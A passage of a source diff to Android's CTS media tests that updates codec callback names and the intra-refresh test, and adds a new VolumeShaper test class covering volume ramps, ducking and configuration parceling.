+                MediaCodec mediaCodec, int ix);
+        protected abstract void onOutputBufferAvailableLocked(
+                MediaCodec mediaCodec, int ix, BufferInfo info);
+    }
 
     class VideoProcessor extends VideoProcessorBase {
         private static final String TAG = "VideoProcessor";
@@ -498,7 +525,7 @@
         }
 
         @Override
-        public void onInputBufferAvailable(MediaCodec mediaCodec, int ix) {
+        public void onInputBufferAvailableLocked(MediaCodec mediaCodec, int ix) {
             if (mediaCodec == mDecoder) {
                 // fill input buffer from extractor
                 fillDecoderInputBuffer(ix);
@@ -516,7 +543,7 @@
         }
 
         @Override
-        public void onOutputBufferAvailable(
+        public void onOutputBufferAvailableLocked(
                 MediaCodec mediaCodec, int ix, BufferInfo info) {
             if (mediaCodec == mDecoder) {
                 if (DEBUG) Log.v(TAG, "decoder received output #" + ix
@@ -746,7 +773,7 @@
         }
 
         @Override
-        public void onInputBufferAvailable(MediaCodec mediaCodec, int ix) {
+        public void onInputBufferAvailableLocked(MediaCodec mediaCodec, int ix) {
             if (mediaCodec == mDecoder) {
                 // fill input buffer from extractor
                 fillDecoderInputBuffer(ix);
@@ -756,7 +783,7 @@
         }
 
         @Override
-        public void onOutputBufferAvailable(
+        public void onOutputBufferAvailableLocked(
                 MediaCodec mediaCodec, int ix, BufferInfo info) {
             if (mediaCodec == mDecoder) {
                 if (DEBUG) Log.v(TAG, "decoder received output #" + ix
@@ -1014,48 +1041,56 @@
         }
 
         public boolean testIntraRefresh(int width, int height) {
-            final int refreshPeriod = 10;
             if (!mCaps.isFeatureSupported(CodecCapabilities.FEATURE_IntraRefresh)) {
                 return false;
             }
 
-            Function<MediaFormat, Boolean> updateConfigFormatHook =
-                    new Function<MediaFormat, Boolean>() {
-                public Boolean apply(MediaFormat fmt) {
-                    // set i-frame-interval to 10000 so encoded video only has 1 i-frame.
-                    fmt.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 10000);
-                    fmt.setInteger(MediaFormat.KEY_INTRA_REFRESH_PERIOD, refreshPeriod);
-                    return true;
-                }
-            };
+            final int refreshPeriod[] = new int[] {10, 13, 17, 22, 29, 38, 50, 60};
 
-            Function<MediaFormat, Boolean> checkOutputFormatHook =
-                    new Function<MediaFormat, Boolean>() {
-                public Boolean apply(MediaFormat fmt) {
-                    int intraPeriod = fmt.getInteger(MediaFormat.KEY_INTRA_REFRESH_PERIOD);
-                    // Make sure intra period is correct and carried in the output format.
-                    // intraPeriod must be larger than 0 and not larger than what has been set.
-                    if (intraPeriod > refreshPeriod) {
-                        throw new RuntimeException("Intra period mismatch");
+            // Test the support of refresh periods in the range of 10 - 60 frames
+            for (int period : refreshPeriod) {
+                Function<MediaFormat, Boolean> updateConfigFormatHook =
+                new Function<MediaFormat, Boolean>() {
+                    public Boolean apply(MediaFormat fmt) {
+                        // set i-frame-interval to 10000 so encoded video only has 1 i-frame.
+                        fmt.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 10000);
+                        fmt.setInteger(MediaFormat.KEY_INTRA_REFRESH_PERIOD, period);
+                        return true;
                     }
-                    return true;
+                };
+
+                Function<MediaFormat, Boolean> checkOutputFormatHook =
+                new Function<MediaFormat, Boolean>() {
+                    public Boolean apply(MediaFormat fmt) {
+                        int intraPeriod = fmt.getInteger(MediaFormat.KEY_INTRA_REFRESH_PERIOD);
+                        // Make sure intra period is correct and carried in the output format.
+                        // intraPeriod must be larger than 0 and operate within 20% of refresh period.
+                        if (intraPeriod > 1.2 * period || intraPeriod < 0.8 * period) {
+                            throw new RuntimeException("Intra period mismatch");
+                        }
+                        return true;
+                    }
+                };
+
+                String testName =
+                mName + '_' + width + "x" + height + '_' + "flexYUV_intraRefresh";
+
+                Consumer<VideoProcessorBase> configureVideoProcessor =
+                new Consumer<VideoProcessorBase>() {
+                    public void accept(VideoProcessorBase processor) {
+                        processor.setProcessorName(testName);
+                        processor.setUpdateConfigHook(updateConfigFormatHook);
+                        processor.setCheckOutputFormatHook(checkOutputFormatHook);
+                    }
+                };
+
+                if (!test(width, height, 0 /* frameRate */, 0 /* bitRate */, true /* optional */,
+                    true /* flex */, configureVideoProcessor)) {
+                    return false;
                 }
-            };
+            }
 
-            String testName =
-                    mName + '_' + width + "x" + height + '_' + "flexYUV_intraRefresh";
-
-            Consumer<VideoProcessorBase> configureVideoProcessor =
-                    new Consumer<VideoProcessorBase>() {
-                public void accept(VideoProcessorBase processor) {
-                    processor.setProcessorName(testName);
-                    processor.setUpdateConfigHook(updateConfigFormatHook);
-                    processor.setCheckOutputFormatHook(checkOutputFormatHook);
-                }
-            };
-
-            return test(width, height, 0 /* frameRate */, 0 /* bitRate */, true /* optional */,
-                    true /* flex */, configureVideoProcessor);
+            return true;
         }
 
         public boolean testDetailed(
diff --git a/tests/tests/media/src/android/media/cts/VolumeShaperTest.java b/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
new file mode 100644
index 0000000..89fb5df
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
@@ -0,0 +1,1257 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.media.cts.R;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioSystem;
+import android.media.AudioTrack;
+import android.media.MediaPlayer;
+import android.media.PlaybackParams;
+import android.media.VolumeShaper;
+import android.os.Parcel;
+import android.os.PowerManager;
+import android.support.test.filters.FlakyTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.filters.SmallTest;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import java.lang.AutoCloseable;
+import java.util.Arrays;
+
+/**
+ * VolumeShaperTest is automated using VolumeShaper.getVolume() to verify that a ramp
+ * or a duck is at the expected volume level. Listening to some tests is also possible,
+ * as we logcat the expected volume change.
+ *
+ * To see the listening messages:
+ *
+ * adb logcat | grep VolumeShaperTest
+ */
+public class VolumeShaperTest extends CtsAndroidTestCase {
+    private static final String TAG = "VolumeShaperTest";
+
+    // ramp or duck time (duration) used in tests.
+    private static final long RAMP_TIME_MS = 3000;
+
+    // volume tolerance for completion volume checks.
+    private static final float VOLUME_TOLERANCE = 0.0000001f;
+
+    // volume difference permitted on replace() with join.
+    private static final float JOIN_VOLUME_TOLERANCE = 0.1f;
+
+    // time to wait for player state change
+    private static final long WARMUP_TIME_MS = 300;
+
+    private static final VolumeShaper.Configuration SILENCE =
+            new VolumeShaper.Configuration.Builder()
+                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_LINEAR)
+                .setCurve(new float[] { 0.f, 1.f } /* times */,
+                        new float[] { 0.f, 0.f } /* volumes */)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    // Duck configurations go from 1.f down to 0.2f (not full ramp down).
+    private static final VolumeShaper.Configuration LINEAR_DUCK =
+            new VolumeShaper.Configuration.Builder()
+                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_LINEAR)
+                .setCurve(new float[] { 0.f, 1.f } /* times */,
+                        new float[] { 1.f, 0.2f } /* volumes */)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    // Ramp configurations go from 0.f up to 1.f
+    private static final VolumeShaper.Configuration LINEAR_RAMP =
+            new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.LINEAR_RAMP)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    private static final VolumeShaper.Configuration CUBIC_RAMP =
+            new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.CUBIC_RAMP)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    private static final VolumeShaper.Configuration SINE_RAMP =
+            new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.SINE_RAMP)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    private static final VolumeShaper.Configuration SCURVE_RAMP =
+            new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.SCURVE_RAMP)
+            .setDuration(RAMP_TIME_MS)
+            .build();
+
+    // internal use only
+    private static final VolumeShaper.Configuration LOG_RAMP =
+            new VolumeShaper.Configuration.Builder()
+                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_LINEAR)
+                .setOptionFlags(VolumeShaper.Configuration.OPTION_FLAG_VOLUME_IN_DBFS)
+                .setCurve(new float[] { 0.f, 1.f } /* times */,
+                        new float[] { -80.f, 0.f } /* volumes */)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    private static final VolumeShaper.Configuration[] ALL_STANDARD_RAMPS = {
+        LINEAR_RAMP,
+        CUBIC_RAMP,
+        SINE_RAMP,
+        SCURVE_RAMP,
+    };
+
+    private static final VolumeShaper.Configuration[] TEST_DUCKS = {
+        LINEAR_DUCK,
+    };
+
+    // this ramp should result in non-monotonic behavior with a typical cubic spline.
+    private static final VolumeShaper.Configuration MONOTONIC_TEST =
+            new VolumeShaper.Configuration.Builder()
+                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_CUBIC_MONOTONIC)
+                .setCurve(new float[] { 0.f, 0.3f, 0.7f, 1.f } /* times */,
+                        new float[] { 0.f, 0.5f, 0.5f, 1.f } /* volumes */)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    private static final VolumeShaper.Configuration MONOTONIC_TEST_FAIL =
+            new VolumeShaper.Configuration.Builder(MONOTONIC_TEST)
+                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_CUBIC)
+                .build();
+
+    private static final VolumeShaper.Operation[] ALL_STANDARD_OPERATIONS = {
+        VolumeShaper.Operation.PLAY,
+        VolumeShaper.Operation.REVERSE,
+    };
+
+    private boolean hasAudioOutput() {
+        return getContext().getPackageManager()
+            .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+    }
+
+    private boolean isLowRamDevice() {
+        return ((ActivityManager) getContext().getSystemService(Context.ACTIVITY_SERVICE))
+                .isLowRamDevice();
+    }
+
+    private static AudioTrack createSineAudioTrack() {
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_FLOAT;
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_SR = 48000;
+        final AudioFormat format = new AudioFormat.Builder()
+                .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+                .setEncoding(TEST_FORMAT)
+                .setSampleRate(TEST_SR)
+                .build();
+
+        final int frameCount = AudioHelper.frameCountFromMsec(100 /*ms*/, format);
+        final int frameSize = AudioHelper.frameSizeFromFormat(format);
+
+        final AudioTrack audioTrack = new AudioTrack.Builder()
+            .setAudioFormat(format)
+            .setBufferSizeInBytes(frameCount * frameSize)
+            .setTransferMode(TEST_MODE)
+            .build();
+        // create float array and write it
+        final int sampleCount = frameCount * format.getChannelCount();
+        final float[] vaf = AudioHelper.createSoundDataInFloatArray(
+                sampleCount, TEST_SR,
+                600 * format.getChannelCount() /* frequency */, 0 /* sweep */);
+        assertEquals(vaf.length, audioTrack.write(vaf, 0 /* offsetInFloats */, vaf.length,
+                AudioTrack.WRITE_NON_BLOCKING));
+        audioTrack.setLoopPoints(0, frameCount, -1 /* loopCount */);
+        return audioTrack;
+    }
+
+    private MediaPlayer createMediaPlayer(boolean offloaded) {
+        // MP3 resource should be greater than 1m to introduce offloading
+        final int RESOURCE_ID = R.raw.test1m1s;
+
+        final MediaPlayer mediaPlayer = MediaPlayer.create(getContext(),
+                RESOURCE_ID,
+                new AudioAttributes.Builder()
+                    .setUsage(offloaded ?
+                            AudioAttributes.USAGE_MEDIA  // offload allowed
+                            : AudioAttributes.USAGE_NOTIFICATION) // offload not allowed
+                    .build(),
+                AudioSystem.newAudioSessionId());
+        mediaPlayer.setWakeMode(getContext(), PowerManager.PARTIAL_WAKE_LOCK);
+        mediaPlayer.setLooping(true);
+        return mediaPlayer;
+    }
+
+    private static void checkEqual(String testName,
+            VolumeShaper.Configuration expected, VolumeShaper.Configuration actual) {
+        assertEquals(testName + " configuration should be equal",
+                expected, actual);
+        assertEquals(testName + " configuration.hashCode() should be equal",
+                expected.hashCode(), actual.hashCode());
+        assertEquals(testName + " configuration.toString() should be equal",
+                expected.toString(), actual.toString());
+    }
+
+    private static void checkNotEqual(String testName,
+            VolumeShaper.Configuration notEqual, VolumeShaper.Configuration actual) {
+        assertTrue(testName + " configuration should not be equal",
+                !actual.equals(notEqual));
+        assertTrue(testName + " configuration.hashCode() should not be equal",
+                actual.hashCode() != notEqual.hashCode());
+        assertTrue(testName + " configuration.toString() should not be equal",
+                !actual.toString().equals(notEqual.toString()));
+    }
+
+    // generic player class to simplify testing
+    private interface Player extends AutoCloseable {
+        public void start();
+        public void pause();
+        public void stop();
+        @Override public void close();
+        public VolumeShaper createVolumeShaper(VolumeShaper.Configuration configuration);
+        public String name();
+    }
+
+    private static class AudioTrackPlayer implements Player {
+        public AudioTrackPlayer() {
+            mTrack = createSineAudioTrack();
+            mName = new String("AudioTrack");
+        }
+
+        @Override public void start() {
+            mTrack.play();
+        }
+
+        @Override public void pause() {
+            mTrack.pause();
+        }
+
+        @Override public void stop() {
+            mTrack.stop();
+        }
+
+        @Override public void close() {
+            mTrack.release();
+        }
+
+        @Override
+        public VolumeShaper createVolumeShaper(VolumeShaper.Configuration configuration) {
+            return mTrack.createVolumeShaper(configuration);
+        }
+
+        @Override public String name() {
+            return mName;
+        }
+
+        private final AudioTrack mTrack;
+        private final String mName;
+    }
+
+    private class MediaPlayerPlayer implements Player {
+        public MediaPlayerPlayer(boolean offloaded) {
+            mPlayer = createMediaPlayer(offloaded);
+            mName = new String("MediaPlayer" + (offloaded ? "Offloaded" : "NonOffloaded"));
+        }
+
+        @Override public void start() {
+            mPlayer.start();
+        }
+
+        @Override public void pause() {
+            mPlayer.pause();
+        }
+
+        @Override public void stop() {
+            mPlayer.stop();
+        }
+
+        @Override public void close() {
+            mPlayer.release();
+        }
+
+        @Override
+        public VolumeShaper createVolumeShaper(VolumeShaper.Configuration configuration) {
+            return mPlayer.createVolumeShaper(configuration);
+        }
+
+        @Override public String name() {
+            return mName;
+        }
+
+        private final MediaPlayer mPlayer;
+        private final String mName;
+    }
+
+    private static final int PLAYER_TYPES = 3;
+    private static final int PLAYER_TYPE_AUDIO_TRACK = 0;
+    private static final int PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED = 1;
+    private static final int PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED = 2;
+
+    private Player createPlayer(int type) {
+        switch (type) {
+            case PLAYER_TYPE_AUDIO_TRACK:
+                return new AudioTrackPlayer();
+            case PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED:
+                return new MediaPlayerPlayer(false /* offloaded */);
+            case PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED:
+                return new MediaPlayerPlayer(true /* offloaded */);
+            default:
+                return null;
+        }
+    }
+
+    private static void testBuildRamp(int points) {
+        float[] ramp = new float[points];
+        final float fscale = 1.f / (points - 1);
+        for (int i = 0; i < points; ++i) {
+            ramp[i] = i * fscale;
+        }
+        ramp[points - 1] = 1.f;
+        // does it build?
+        final VolumeShaper.Configuration config = new VolumeShaper.Configuration.Builder()
+                .setCurve(ramp, ramp)
+                .build();
+    }
+
+    @SmallTest
+    public void testVolumeShaperConfigurationBuilder() throws Exception {
+        final String TEST_NAME = "testVolumeShaperConfigurationBuilder";
+
+        // Verify that IllegalStateExceptions are properly triggered
+        // for methods with no arguments.
+
+        Log.d(TAG, TEST_NAME + " configuration builder should throw ISE if no curve specified");
+        assertThrows(IllegalStateException.class,
+                new VolumeShaper.Configuration.Builder()
+                    ::build);
+
+        assertThrows(IllegalStateException.class,
+                new VolumeShaper.Configuration.Builder()
+                    ::invertVolumes);
+
+        assertThrows(IllegalStateException.class,
+                new VolumeShaper.Configuration.Builder()
+                    ::reflectTimes);
+
+        Log.d(TAG, TEST_NAME + " configuration builder should IAE on invalid curve");
+        // Verify IllegalArgumentExceptions are properly triggered
+        // for methods with arguments.
+        final float[] ohOne = { 0.f, 1.f };
+        final float[][] invalidCurves = {
+                { -1.f, 1.f },
+                { 0.5f },
+                { 0.f, 2.f },
+        };
+        for (float[] invalidCurve : invalidCurves) {
+            assertThrows(IllegalArgumentException.class,
+                    () -> {
+                        new VolumeShaper.Configuration.Builder()
+                            .setCurve(invalidCurve, ohOne)
+                            .build(); });
+
+            assertThrows(IllegalArgumentException.class,
+                    () -> {
+                        new VolumeShaper.Configuration.Builder()
+                            .setCurve(ohOne, invalidCurve)
+                            .build(); });
+        }
+
+        Log.d(TAG, TEST_NAME + " configuration builder should throw IAE on invalid duration");
+        assertThrows(IllegalArgumentException.class,
+                () -> {
+                    new VolumeShaper.Configuration.Builder()
+                        .setCurve(ohOne, ohOne)
+                        .setDuration(-1)
+                        .build(); });
+
+        Log.d(TAG, TEST_NAME + " configuration builder should throw IAE on invalid interpolator");
+        assertThrows(IllegalArgumentException.class,
+                () -> {
+                    new VolumeShaper.Configuration.Builder()
+                        .setCurve(ohOne, ohOne)
+                        .setInterpolatorType(-1)
+                        .build(); });
+
+        // Verify defaults.
+        // Use the Builder with setCurve(ohOne, ohOne).
+        final VolumeShaper.Configuration config =
+                new VolumeShaper.Configuration.Builder().setCurve(ohOne, ohOne).build();
+        assertEquals(TEST_NAME + " default interpolation should be cubic",
+                VolumeShaper.Configuration.INTERPOLATOR_TYPE_CUBIC, config.getInterpolatorType());
+        assertEquals(TEST_NAME + " default duration should be 1000 ms",
+                1000, config.getDuration());
+        assertTrue(TEST_NAME + " times should be { 0.f, 1.f }",
+                Arrays.equals(ohOne, config.getTimes()));
+        assertTrue(TEST_NAME + " volumes should be { 0.f, 1.f }",
+                Arrays.equals(ohOne, config.getVolumes()));
+
+        // Due to precision problems, we cannot have ramps that do not have
+        // perfect binary representation for equality comparison.
+        // (For example, 0.1 is a repeating mantissa in binary,
+        //  but 0.25, 0.5 can be expressed with few mantissa bits).
+        final float[] binaryCurve1 = { 0.f, 0.25f, 0.5f, 0.625f,  1.f };
+        final float[] binaryCurve2 = { 0.f, 0.125f, 0.375f, 0.75f, 1.f };
+        final VolumeShaper.Configuration[] BINARY_RAMPS = {
+            LINEAR_RAMP,
+            CUBIC_RAMP,
+            new VolumeShaper.Configuration.Builder()
+                    .setCurve(binaryCurve1, binaryCurve2)
+                    .build(),
+        };
+
+        // Verify volume inversion and time reflection work as expected
+        // with ramps (which start at { 0.f, 0.f } and end at { 1.f, 1.f }).
+        for (VolumeShaper.Configuration testRamp : BINARY_RAMPS) {
+            VolumeShaper.Configuration ramp;
+            ramp = new VolumeShaper.Configuration.Builder(testRamp).build();
+            checkEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .setDuration(10)
+                    .build();
+            checkNotEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp).build();
+            checkEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .invertVolumes()
+                    .build();
+            checkNotEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .invertVolumes()
+                    .invertVolumes()
+                    .build();
+            checkEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .reflectTimes()
+                    .build();
+            checkNotEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .reflectTimes()
+                    .reflectTimes()
+                    .build();
+            checkEqual(TEST_NAME, testRamp, ramp);
+
+            // check scaling start and end volumes
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .scaleToStartVolume(0.5f)
+                    .build();
+            checkNotEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .scaleToStartVolume(0.5f)
+                    .scaleToStartVolume(0.f)
+                    .build();
+            checkEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .scaleToStartVolume(0.5f)
+                    .scaleToEndVolume(0.f)
+                    .scaleToStartVolume(1.f)
+                    .invertVolumes()
+                    .build();
+            checkEqual(TEST_NAME, testRamp, ramp);
+        }
+
+        // check that getMaximumCurvePoints() returns the correct value
+        final int maxPoints = VolumeShaper.Configuration.getMaximumCurvePoints();
+
+        testBuildRamp(maxPoints); // no exceptions here.
+
+        if (maxPoints < Integer.MAX_VALUE) {
+            Log.d(TAG, TEST_NAME + " configuration builder "
+                    + "should throw IAE if getMaximumCurvePoints() exceeded");
+            assertThrows(IllegalArgumentException.class,
+                    () -> { testBuildRamp(maxPoints + 1); });
+        }
+    } // testVolumeShaperConfigurationBuilder
+
+    @SmallTest
+    public void testVolumeShaperConfigurationParcelable() throws Exception {
+        final String TEST_NAME = "testVolumeShaperConfigurationParcelable";
+
+        for (VolumeShaper.Configuration config : ALL_STANDARD_RAMPS) {
+            assertEquals(TEST_NAME + " no parceled file descriptors",
+                    0 /* expected */, config.describeContents());
+
+            final Parcel srcParcel = Parcel.obtain();
+            config.writeToParcel(srcParcel, 0 /* flags */);
+
+            final byte[] marshallBuffer = srcParcel.marshall();
+
+            final Parcel dstParcel = Parcel.obtain();
+            dstParcel.unmarshall(marshallBuffer, 0 /* offset */, marshallBuffer.length);
+            dstParcel.setDataPosition(0);
+
+            final VolumeShaper.Configuration restoredConfig =
+                    VolumeShaper.Configuration.CREATOR.createFromParcel(dstParcel);
+            assertEquals(TEST_NAME +
+                    " marshalled/restored VolumeShaper.Configuration should match",
+                    config, restoredConfig);
+        }
+    } // testVolumeShaperConfigurationParcelable
+
+    @SmallTest
+    public void testVolumeShaperOperationParcelable() throws Exception {
+        final String TEST_NAME = "testVolumeShaperOperationParcelable";
+
+        for (VolumeShaper.Operation operation : ALL_STANDARD_OPERATIONS) {
+            assertEquals(TEST_NAME + " no parceled file descriptors",
+                    0 /* expected */, operation.describeContents());
+
+            final Parcel srcParcel = Parcel.obtain();
+            operation.writeToParcel(srcParcel, 0 /* flags */);
+
+            final byte[] marshallBuffer = srcParcel.marshall();
+
+            final Parcel dstParcel = Parcel.obtain();
+            dstParcel.unmarshall(marshallBuffer, 0 /* offset */, marshallBuffer.length);
+            dstParcel.setDataPosition(0);
+
+            final VolumeShaper.Operation restoredOperation =
+                    VolumeShaper.Operation.CREATOR.createFromParcel(dstParcel);
+            assertEquals(TEST_NAME +
+                    " marshalled/restored VolumeShaper.Operation should match",
+                    operation, restoredOperation);
+        }
+    } // testVolumeShaperOperationParcelable
+
+    // This tests that we can't create infinite shapers and cause audioserver
+    // to crash due to memory or performance issues.  Typically around 16 app based
+    // shapers are allowed by the audio server.
+    @SmallTest
+    public void testMaximumShapers() {
+        final String TEST_NAME = "testMaximumShapers";
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        final int WAY_TOO_MANY_SHAPERS = 1000;
+
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            try (Player player = createPlayer(p)) {
+                final String testName = TEST_NAME + " " + player.name();
+                final VolumeShaper[] shapers = new VolumeShaper[WAY_TOO_MANY_SHAPERS];
+                int i = 0;
+                try {
+                    for (; i < shapers.length; ++i) {
+                        shapers[i] = player.createVolumeShaper(SILENCE);
+                    }
+                    fail(testName + " should not be able to create "
+                            + shapers.length + " shapers");
+                } catch (IllegalStateException ise) {
+                    Log.d(TAG, testName + " " + i + " shapers created before failure (OK)");
+                }
+            }
+            // volume shapers close when player closes.
+        }
+    } // testMaximumShapers
+
+    @LargeTest
+    public void testPlayerDuck() throws Exception {
+        final String TEST_NAME = "testPlayerDuck";
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            try (   Player player = createPlayer(p);
+                    VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE);
+                    ) {
+                final String testName = TEST_NAME + " " + player.name();
+
+                Log.d(TAG, testName + " starting");
+                player.start();
+                Thread.sleep(WARMUP_TIME_MS);
+
+                runDuckTest(testName, volumeShaper);
+                runCloseTest(testName, volumeShaper);
+            }
+        }
+    } // testPlayerDuck
+
+    @LargeTest
+    public void testPlayerRamp() throws Exception {
+        final String TEST_NAME = "testPlayerRamp";
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            try (   Player player = createPlayer(p);
+                    VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE);
+                    ) {
+                final String testName = TEST_NAME + " " + player.name();
+
+                Log.d(TAG, testName + " starting");
+                player.start();
+                Thread.sleep(WARMUP_TIME_MS);
+
+                runRampTest(testName, volumeShaper);
+                runCloseTest(testName, volumeShaper);
+            }
+        }
+    } // testPlayerRamp
+
+    @LargeTest
+    public void testPlayerCornerCase() throws Exception {
+        final String TEST_NAME = "testPlayerCornerCase";
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        final VolumeShaper.Configuration config = LINEAR_RAMP;
+
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            Player player = null;
+            VolumeShaper volumeShaper = null;
+            try {
+                player = createPlayer(p);
+                volumeShaper = player.createVolumeShaper(config);
+                final String testName = TEST_NAME + " " + player.name();
+
+                runStartIdleTest(testName, volumeShaper, player);
+                runRampCornerCaseTest(testName, volumeShaper, config);
+                runCloseTest(testName, volumeShaper);
+
+                Log.d(TAG, testName + " recreating VolumeShaper and repeating with pause");
+                volumeShaper = player.createVolumeShaper(config);
+                player.pause();
+                Thread.sleep(100 /* millis */);
+                runStartIdleTest(testName, volumeShaper, player);
+
+                // volumeShaper not explicitly closed, will close upon finalize or player close.
+                Log.d(TAG, testName + " recreating VolumeShaper and repeating with stop");
+                volumeShaper = player.createVolumeShaper(config);
+                player.stop();
+                Thread.sleep(100 /* millis */);
+                runStartIdleTest(testName, volumeShaper, player);
+
+                Log.d(TAG, testName + " closing Player before VolumeShaper");
+                player.close();
+                runCloseTest2(testName, volumeShaper);
+            } finally {
+                if (volumeShaper != null) {
+                    volumeShaper.close();
+                }
+                if (player != null) {
+                    player.close();
+                }
+            }
+        }
+    } // testPlayerCornerCase
+
+    @LargeTest
+    public void testPlayerCornerCase2() throws Exception {
+        final String TEST_NAME = "testPlayerCornerCase2";
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        final VolumeShaper.Configuration config = LINEAR_RAMP;
+
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            Player player = null;
+            VolumeShaper volumeShaper = null;
+            try {
+                player = createPlayer(p);
+                volumeShaper = player.createVolumeShaper(config);
+                final String testName = TEST_NAME + " " + player.name();
+
+                runStartSyncTest(testName, volumeShaper, player);
+                runCloseTest(testName, volumeShaper);
+
+                Log.d(TAG, testName + " recreating VolumeShaper and repeating with pause");
+                volumeShaper = player.createVolumeShaper(config);
+                player.pause();
+                Thread.sleep(100 /* millis */);
+                runStartSyncTest(testName, volumeShaper, player);
+
+                Log.d(TAG, testName + " closing Player before VolumeShaper");
+                player.close();
+                runCloseTest2(testName, volumeShaper);
+            } finally {
+                if (volumeShaper != null) {
+                    volumeShaper.close();
+                }
+                if (player != null) {
+                    player.close();
+                }
+            }
+        }
+    } // testPlayerCornerCase2
+
+    @FlakyTest
+    @LargeTest
+    public void testPlayerJoin() throws Exception {
+        final String TEST_NAME = "testPlayerJoin";
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            try (   Player player = createPlayer(p);
+                    VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE);
+                    ) {
+                final String testName = TEST_NAME + " " + player.name();
+                volumeShaper.apply(VolumeShaper.Operation.PLAY);
+                player.start();
+                Thread.sleep(WARMUP_TIME_MS);
+
+                Log.d(TAG, " we join several LINEAR_RAMPS together "
+                        + " this effectively is one LINEAR_RAMP (volume increasing).");
+                final long durationMs = 10000;
+                final long incrementMs = 1000;
+                for (long i = 0; i < durationMs; i += incrementMs) {
+                    Log.d(TAG, testName + " Play - join " + i);
+                    volumeShaper.replace(new VolumeShaper.Configuration.Builder(LINEAR_RAMP)
+                                    .setDuration(durationMs - i)
+                                    .build(),
+                            VolumeShaper.Operation.PLAY, true /* join */);
+                    assertEquals(testName + " linear ramp should continue on join",
+                            (float)i / durationMs, volumeShaper.getVolume(), 0.05 /* epsilon */);
+                    Thread.sleep(incrementMs);
+                }
+                Log.d(TAG, testName + "volume at max level now (closing player)");
+            }
+        }
+    } // testPlayerJoin
+
+    @LargeTest
